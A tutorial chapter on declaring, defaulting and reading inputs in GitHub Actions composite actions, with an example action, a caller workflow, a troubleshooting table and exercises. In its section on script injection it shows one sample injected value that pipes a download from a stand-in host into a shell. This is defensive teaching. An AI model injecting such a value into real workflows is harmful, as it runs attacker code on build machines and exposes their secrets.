Sub topic 5
Inputs: declaring, defaulting and reading them
This chapter assumes you can read a basic workflow file, know what uses, with and run do, and are comfortable with YAML and bash. It also assumes you have seen the action.yml layout from the earlier chapters. Here you will learn how a composite action receives data from the workflow that calls it.
What an input is
An input is a named value that the calling workflow passes to your action through the with key. You declare inputs in action.yml under the top-level inputs key. Each input has a name (its ID) and a few optional fields.
inputs:
who-to-greet:
description: Name to greet
required: false
default: WorldThe fields mean the following.
| Field | Purpose |
|---|---|
| `description` | Human-readable text. Required in practice: the metadata syntax expects it for every input. |
| `required` | Whether the caller must supply a value. |
| `default` | The value used when the caller omits the input. |
| `deprecationMessage` | A warning logged when a caller uses the input. Use it when you plan to remove the input. |
Input IDs can contain letters, digits, - and _, and must start with a letter or _. Hyphenated names such as who-to-greet are common. Keep one style across your actions so callers do not have to guess.
Inputs are always strings
Every input arrives as a string, whatever you wrote in the caller's YAML. If a workflow passes true, 20 or 3.5, your action sees the text true, 20 or 3.5. This is the source of many bugs.
Consider this conditional:
- if: ${{ inputs.run-tests }}
shell: bash
run: npm testThe input is the string "false" when the caller disables tests. A non-empty string is truthy in this context, so the step still runs. Compare against the string explicitly:
- if: ${{ inputs.run-tests == 'true' }}
shell: bash
run: npm testThe same applies to numbers. If you need arithmetic, convert the value in the shell or with fromJSON() in an expression. Validate it first, because fromJSON('abc') fails the step.
How defaults and required interact
required: true and default do not behave the way many people expect. For composite actions, GitHub does not stop the run when a required input is missing. A required input without a default arrives as an empty string. The required field is documentation, and your action should check for the empty value itself.
If an input has a default, the default applies when the caller leaves the input out. Marking such an input required: true adds nothing, so use required: false for inputs with defaults. Reserve required: true for inputs that have no sensible default.
A default can be a plain string or an expression. In a composite action, defaults can reference the github context, for example default: ${{ github.token }}. Expressions in defaults are evaluated in the calling workflow's context.
An empty string passed explicitly counts as a value in some situations. If a caller writes with: { node-version: "" }, you may get an empty string and not the default. Write steps that tolerate this, or fall back in the shell with ${VAR:-fallback}.
Reading inputs with the inputs context
Inside the action, read an input with the inputs context: ${{ inputs.who-to-greet }}. You can use it in these places:
- In
withfor a nestedusesstep. - In
ifconditions. - In
envvalues. - In
runtext, although this is the unsafe option.
The inputs context holds only the inputs of the action you are in. A composite action cannot read the inputs of the workflow that calls it, and it cannot read its own caller's with values by any other name.
Why you should pass inputs through env
Placing ${{ inputs.x }} directly inside a run script is dangerous. GitHub substitutes the expression into the script text before the shell starts. If the value contains shell syntax, the shell runs it.
# Unsafe: the value becomes part of the script
- shell: bash
run: echo "Hello, ${{ inputs.who-to-greet }}"A caller who passes "; curl evil.example | sh; echo " has now injected a command. Even a trusted caller can be tricked if the value comes from something like a pull request title.
Map the input to an environment variable and read the variable in the script. The shell then treats the value as data.
- shell: bash
env:
WHO: ${{ inputs.who-to-greet }}
run: echo "Hello, ${WHO}"Always quote the variable expansion ("${WHO}") so spaces and glob characters in the value do not split or expand. A later chapter covers script injection in more depth, but the habit starts here: treat every input as untrusted text.
A complete example with defaults and validation
This action declares three inputs, validates one, and uses env throughout.
name: Build report
description: Create a report file and tell the caller where it is
inputs:
report-name:
description: Name of the report, without extension
required: true
format:
description: Output format, either txt or md
required: false
default: md
verbose:
description: Set to 'true' to print extra detail
required: false
default: "false"
outputs:
path:
description: Path of the generated report
value: ${{ steps.make.outputs.path }}
runs:
using: composite
steps:
- id: make
shell: bash
env:
REPORT_NAME: ${{ inputs.report-name }}
FORMAT: ${{ inputs.format }}
VERBOSE: ${{ inputs.verbose }}
run: |
set -euo pipefail
if [ -z "${REPORT_NAME}" ]; then
echo "::error::report-name is required"
exit 1
fi
case "${FORMAT}" in
txt|md) ;;
*) echo "::error::format must be txt or md, got '${FORMAT}'"; exit 1 ;;
esac
file="${REPORT_NAME}.${FORMAT}"
echo "Report for ${REPORT_NAME}" > "${file}"
if [ "${VERBOSE}" = "true" ]; then
echo "Wrote ${file} in format ${FORMAT}"
fi
echo "path=${file}" >> "$GITHUB_OUTPUT"Points worth noting:
report-namehas no default, so the script checks for an empty value and fails with an::error::annotation.formatis validated against an allowed list. Allow-listing is stronger than trying to filter bad characters.verbosehas the default"false"in quotes. Quoting keeps YAML from reading a barefalseas a boolean, though GitHub converts it to a string anyway. Quotes make the intent obvious.- The report name is still used to build a file name. If you accept path-like values, check for
..and slashes, or the caller can write outside the intended directory.
Calling the action
The caller supplies inputs with with. Omitted inputs take their defaults.
name: CI
on: [push]
jobs:
report:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- id: rep
uses: ./.github/actions/build-report
with:
report-name: weekly
verbose: true
- run: echo "Wrote ${{ steps.rep.outputs.path }}"Here verbose: true is written as a YAML boolean but arrives as the string true. The format input is not set, so it is md.
If a caller passes an input that you did not declare, GitHub shows a warning in the log: "Unexpected input(s)". It does not fail the job. Watch for this warning when a caller misspells a name, because the misspelled value is ignored and the default is used silently.
The flow of an input
Common errors
| Symptom | Likely cause | Fix |
|---|---|---|
| A step runs when the caller passed `false` | `if: ${{ inputs.flag }}` tests a non-empty string | Compare with `== 'true'` |
| Input is empty although marked required | `required` is not enforced for composite actions | Check for an empty value in the script |
| Default seems ignored | Caller passed an empty string | Use `${VAR:-fallback}` or check for empty |
| Caller's value is ignored | Misspelled input name, only a warning is logged | Fix the name, read the "Unexpected input(s)" warning |
| Odd shell behavior with spaces or symbols | Input placed directly in `run` or left unquoted | Pass through `env` and quote |
| `inputs.x` is empty in a nested `uses` | Input name differs from the one declared | Match the declared ID exactly |
Exercises
Exercise
A composite action declares dry-run with default: "false". A step uses if: ${{ inputs.dry-run }} to run a deploy only when dry-run is off, written as if: ${{ !inputs.dry-run }}. The caller does not set the input, and the deploy never runs. Why, and how do you fix it?
Show answer
The input is the string "false", and a non-empty string is truthy, so !inputs.dry-run evaluates to false and the step is skipped. Compare the string explicitly: if: ${{ inputs.dry-run != 'true' }}.
Exercise
Rewrite this step so a hostile input value cannot run commands: run: git checkout ${{ inputs.branch }}
Show answer
Pass the value through env and quote the variable: set env: BRANCH: ${{ inputs.branch }} on the step and use run: git checkout -- "${BRANCH}", or better, validate the value against an allowed pattern first. The shell then receives the value as data and not as script text.